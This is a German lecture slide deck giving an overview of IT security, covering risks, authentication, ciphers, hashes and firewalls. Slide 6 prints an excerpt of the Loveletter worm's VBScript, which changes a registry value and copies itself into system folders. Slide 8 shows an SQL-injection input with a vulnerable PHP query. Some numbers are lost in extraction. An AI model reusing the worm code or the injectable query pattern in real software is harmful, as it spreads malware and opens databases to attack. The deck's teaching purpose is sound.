IT Sicherheit. Ein Überblick

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1 IT Sicherheit Ein Überblick 1

2 Inhalt Überblick Potentielle Risiken (Auswahl) Beispiele für Lösungen» Authentisierung Wer greift auf Daten/Systeme zu?» Verschlüsselung Daten vertraulich halten» Firewall Netze gegen Angreifer schützen Was tun? 2

3 Datensicherheit: DIN 44300, Teil 1. Schutz von Daten gegen Beeinträchtigung (Verlust, Zerstörung, Änderung) und vor Mißbrauch Spionage Sabotage Betrug (Nicht-) Verfügbarkeit Datenschutz: Schutz von Personen vor Beeinträchtigungen durch Verarbeitung von Daten 3

4 Sicherheitskriterien Sabotage Integrität» Konsistenz» Korrektheit Beispiele für Risiken Viren Schaden weltweit 2003: 50 Milliarden $??? Spionage Vertraulichkeit» Zugriff nur durch berechtigte Personen Hacker Betrug Nicht- Verfügbarkeit Verbindlichkeit» Authentisierung von Nutzern» Persistenz Verfügbarkeit» Zugriff jederzeit möglich fake orders spoofing DoS, DDoS, mail flooding 4

5 Loveletter: Liebe 5

6 Loveletter Quelltext (Auszug) rem barok -loveletter(vbe) <i hate go to school> rem by: spyder / Group / Manila,Philippines On Error Resume Next dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow eq="" ctr=0 Set fso = CreateObject("Scripting.FileSystemObject") set file = fso.opentextfile(wscript.scriptfullname,1) vbscopy=file.readall main() sub main() On Error Resume Next dim wscr,rr set wscr=createobject("wscript.shell") rr=wscr.regread("hkey_current_user\software\microsoft\windows Scripting Host\Settings\Timeout") if (rr>=1) then wscr.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD" end if Set dirwin = fso.getspecialfolder(0) Set dirsystem = fso.getspecialfolder(1) Set dirtemp = fso.getspecialfolder(2) Set c = fso.getfile(wscript.scriptfullname) c.copy(dirsystem&"\mskernel32.vbs") c.copy(dirwin&"\win32dll.vbs") c.copy(dirsystem&"\love-letter-for-you.txt.vbs")... 6

7 Viren Intervall zwischen Entdeckungn und Schutz durch Anti-Viren Software! 7

8 SQL-Injection. Maier Maier; delete from address File index.htm... <form method="post" action="db-request.php"> <input type="text" name="sstring"> <input type="submit" name="search" value="search"> </form>... File db-request.php... $selstring = "SELECT * FROM Address WHERE name=$sstring'"; $conn = pg_connect("localhost", "5432","","","somedb"); $result = pg_exec($conn, $selstring);... 8

9 Distributed Denial-of-Service Attack (DDoS). Probleme: Unterschied zwischen echten und falschen Anfragen Verteilte Netzwerk- Infrastruktur slave victim slave Angriff Intrusion Detection Systems Hack master slave slave Angreifer installing a demon 9

10 Wardriving, LAN jacking 10

11 Gegenmaßnahmen Integrität Vertraulichkeit Verbindlichkeit Verfügbarkeit Virenscanner Managed Security Services Pasßwort Biometrie Backup Zugangskontrolle Firewall Verschlüsselung, VPN Digitale Signaturen intrusion detection 11

12 Beispiel: Unberechtigten Zugriff verhindern user identification» Passwort, Biometrie, Authentisierungsverfahren Nutzerrechte» Wer darf auf welche Resourcen zugreifen Zugriffskontrolle» firewall, Intrusion Detection Systeme Verschlüsselung» Zugriff auf Daten bleibt zwar möglich, diese sind aber nutzlos 12

13 Password cracking. Brute force hack» Ausprobieren aller Buchstabenkombinationen Dictionary hack» Systematisches Ausprobieren von häufiger verwendeten Wörtern (aus Worllisten)» Hybride Verfahren: Kombination von Wörterbuch und Ausprobieren von Buchstanben/Zahlen Spionage» Blick über die Schulter» Trojanische Pferde, key logger Social Engineering» Ausnutzen der Naivität von Anwendern» Z.B. fake mail an Angestellte mit sender spoofing ("IT security dept.") zur Abfrage von Kennwörtern» Studie von BBC News zeigte, daß 92% der Teilnehmer bereit waren, persönliche Angaben wie etwa Geburtsname der Mutter, Grundschule,... Zu verraten (Comm. ACM Vol. 48/6 p. 10) 13

14 Default Kennwörter 14

15 Ziemlich einfach... 15

16 Social Engineering. Original und Fälschung 16

17 Beispiel Paypal Phishing mail 17

18 Biometrie 18

19 etokens. 19

20 Verschlüsselung Problem Datenübertragung über öffentliche Netze ist öffentlich! (insbesondere bei Funknetzen) Lösung Private Netze (teuer) oder Verschlüsselung: Der Absender wendet (mathematische) Funktion auf die Daten an, die nur (!) vom Empfänger rückgängig gemacht werden kann Absender: E = e(k 1,M) : K = key, M = message Empfänger: M = d(k 2,E) : E = encrypted message, Funktioniert, wenn M = d(k 2,e(K 1,M)) symmetrisch, wenn K 1 =K 2, sonst asymmetrisch 20

21 Einfache Verschlüsselungstechnik: Jedes Zeichen wird durch ein anderes ersetzt Das Transformationsschema ist der Schlüssel: Originalalphabet: abcdefghijklmnopqrstuvwxyz Schlüssel: qfwgxbdkpjhyzstiarnouvcelm Substitutionsschlüssel Verschlüsselter Text: q wkpbbrx kqn ot xsnurx xauqy irtfqfpypopxn btr qyy wkqrqwoxrn ot irxvxso npziyx brxauxswl fqnxg qsqylnpn q npziyx nufnopouopts pn sto nubbpwpxso qslftgl cpok q fpo tb opzx tr q wtziuoxr wqs frxqh nuwk wtgxn xqnpyl okxnx wtgxn cxrx unxg usopy okx spsxoxxsok wxsourl qsg cxrx rxiyqwxg fl wtgxn okqo wkqsdx okx nufnopouopts iqooxrs cpok xqwk wkqrqwoxr 21

22 Relative Häufigkeit der einzelnen Buchstaben Kryptoanalyse Im verschlüsselten Text a b c d e f g h i j k l m n o p q r s t u v w x y z In (englischem) Text a b c d e f g h i j k l m n o p q r s t u v w x y z

23 Entschlüsselter Text a chiffre has to ensure equal probabilities for all characters to prevent simple frequency based analysis a simple substitution is not sufficient anybody with a bit of time or a computer can break such codes easily these codes were used until the nineteenth century and were replaced by codes that change the substitution pattern with each character Gedankenexperiment: Eine Nachricht ist genau ein Zeichen lang Ist hier Kryptoanalyse möglich? Nein! Wenn der Schlüssel (mindestens) die gleiche Länge hat, wie die Nachricht, kann sie nicht entschlüsselt werden! One time pad 23

24 Vernam-Chiffre Eine lange, zufällige Folge von Zeichen wird als Schlüssel verwendet, Verschlüsselung beispielsweise durch Addition mit dem Klartext (modulo 26). Erzeugung von K durch (Pseudo-) Zufallsgenerator Schlüssel: Text: AXVBF HALLO Darstellung als Zahlen, z.b. A=1, B=2 usw. Schlüssel: Text M 1 : E 1 : (IYHNU) Problem: Wird mehrfach der gleiche Schlüssel verwendet, ist Kryptoanalyse möglich: M 2 = WELT, K= HALLO, E 2 = Aber D= E 1 -E 2 = M 1 -M 2 = , wenn M 1 bekannt M 2 = M 1 -D = (8+15) (1-22) (12-0) (12+8) = = WELT known plaintext attack, siehe WEP 24

25 Enigma 25

26 Moderne Verschlüsselungsverfahren Kombination von Substitution und Transposition» DES (alt), AES (neu) symmetrisch: Schlüssel für Sender und Empfänger gleich» Problem: Wie übermittelt man den Schlüssel? An viele Partner Lange Schlüssel (one time pad)» Ungelöst! asymmetrisch: unterschiedliche Schlüssel zum Ver- und Entschlüsseln» Public/Private key» Diskrete Mathematik: Faktorisierung großer Zahlen ist (extrem) rechenaufwändig Signatur: one way functions 26

27 Integrität unbeabsichtigte Änderungen» Übertragungsfehler, Hardware,... Prüsummen» beabsichtigte Änderungen» Prüfsummen sind leicht zu fälschen» krypthografische Verfahren 27

28 Beispiel: MD5 erzeugt aus einer beliebig langen Nachricht einen 128 Bit langen Wert Beispiel: Der Text Heute ist schönes Wetter ergibt den Hash a353cee72e e2f89fb a Empfänger berechnet ebenfalls den MD5 Hash der Nachricht und vergleicht mit dem übermittelten, Üereinstimmung --> Nachricht korrekt übermittelt Problem: Dritte Partei fängt die Nachricht ab und ersetzt sie durch eine andere (mit neuem, passenden hash) Löung: Der Absender verschlüsselt den hash-wert mit seinem private key. Der Empfänger überprüft nach Entschlüsselung mit dem public key des Absenders.(Digitale Signatur) 28

29 Firewalls Internet LAN Eine Firewall ist ein zentraler Kontrollpunkt zwischen dem Internet und dem LAN 29

30 Router Internet Router leitet IP-Pakete weiter, vom LAN ins Internet, vom Internet ins LAN Screening Router (Paketfilter) leitet nur Pakete weiter, die def. Regeln entsprechen (IP-Adressen, Ports usw.) 30

31 Personal firewall Computer Internet Browser Eine personal firewall ist ein eingebauter Paketfilter, der anwendungsbezogen filtert Die Sicherheit ist fragwürdig Oft kombiniert mit Viren-Scanner Personal Firewall Mail client Application 31

32 Probleme bei sicheren Systemen Die meisten (einfachen) Angriffe sind leicht abzublocken Wie hält man qualifizierte/motivierte Hacker auf? Tradeoff: Sicherheit Usability Kosten Problem: Schlechte Usability kann Sicherheit verschlechtern: Restriktive Password policy --> schwer zu merken --> Nutzer schreiben Passwörter auf oder verwenden Standardpaßwort 32

33 Clevere Lösungen... Persönliche Fragen statt Kennwörtern» personal entropy» Name Ihres Haustiers?» Der Name von Paris Hiltons Hund ist Tinkerbell (Bunte o.ä.)» Ihr T-Mobile Account wurde gehackt Nach mehrfacher Eingabe eines falschen Kennworts wird der login für bestimmte Zeit gesperrt» Sie bieten auf einen Artikel bei ebay und wissen den Namen eines Mitbieters, versuchen sich mit seinem Namen und einem beliebigen Kennwort anzumelden --> sein Account wird geblockt --> Denial of Service attack Was wäre, wenn Geldautomaten den Fingerabdruck prüfen würden?» Vielleicht weniger Betrug?» Vielleicht mehr Raubüberfälle? (siehe Wegfahrsperre) 33

34 Auch die fortschrittlichste Technologie... 34

35 Läßt sich umgehen, wenn man wirklich will... 35

36 Man kann Angreifern nur das Leben schwerer machen 36

37 Es gibt keine absolute Sicherheit Wenn jemand behauptet, ein unknackbares System zu haben, ist er entweder naiv, oder er lügt! Das schwächste Glied zählt SQL-Slammer took out 20% of ATM machines in US (costed banks tens of millions of dollars), Continental coudn t fly for 12 hours, why? Not the servers were vulnerable, but the network connections were overloaded." Designschwächen (Protokolle, Programmiersprachen,...)» Wurden nicht für die heutigen Anwendungen konzipiert» Lösungen wären bekannt, sind aber aufwendig: Direkter Zugriff auf den Stack bei vielen Programmiersprachen Buffer overflows könnten verhindert werden, ist aber mehr Arbeit SQL-injection könnte verhindert werden, ebenfalls mehr Arbeit Programmierfehler (bugs)» ermöglichen exploits, Patches kommen immer zu spät ( zero day exploits )» Fehlerfreie Software zu erstellen ist extrem schwer (unmöglich?)» Bessere Prozeße bei der SW-Entwicklung helfen, aber... 37

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